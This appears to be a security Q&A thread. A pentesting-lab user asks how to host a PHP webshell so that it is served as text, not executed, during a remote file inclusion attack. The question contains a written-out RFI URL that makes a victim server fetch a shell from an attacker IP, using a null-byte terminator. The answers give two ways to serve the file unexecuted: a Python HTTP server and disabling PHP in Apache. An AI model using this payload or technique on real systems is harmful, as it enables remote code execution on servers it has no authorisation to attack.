7

I am using Kali Linux in a pentesting lab.

By entering the following URL on the victim system I can get it to access my apache server (I see a 200 access response in my logs), but the php file renders on my system and then I spawn a webshell on my own box:

https://10.0.0.1/section.php?page=http://10.0.0.2/phpshell.php%00

How do I "change the binding" in apache to prevent it from running? Changing it to a .txt seems to prevent it from running on both systems; not sure that I can inject it that way.

5
  • Are you trying to attack 10.0.0.1 by including a file from 10.0.0.2?
    – Sjoerd
    Dec 23 '16 at 20:54
  • @Sjoerd Yes that is exactly what is being attempted here
    – Shrout1
    Dec 27 '16 at 17:27
  • I know which box this is =X
    – Info5ek
    Jan 2 '17 at 20:53
  • @Info5ek I stumbled on this while googling for section.php. Your comment is well stated ;)
    – gr0k
    Mar 30 '18 at 1:32
  • Some should "try harder"...
    – Info5ek
    Apr 11 '18 at 5:04
5

python -m SimpleHTTPServer 80

will spawn you a simple http server that is not php aware, quickest way imho

1
  • Thanks so much! This server is awesome for simple file hosting out of various directories on the system. Incredibly easy to use and none of the extra Apache fluff.
    – Shrout1
    Dec 27 '16 at 17:26
7

Use the following setting in your apache config or in a .htaccess file:

php_flag engine off

See also Disable PHP in directory (including all sub-directories) with .htaccess.

1
  • Thank you! I wish I could mark two answers - you directly addresed my Apache question, but the SimpleHTTPServer is so straightforward I've got to go with it! Thanks for taking the time to chime in however :) This response is equally relevant.
    – Shrout1
    Dec 27 '16 at 17:25

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.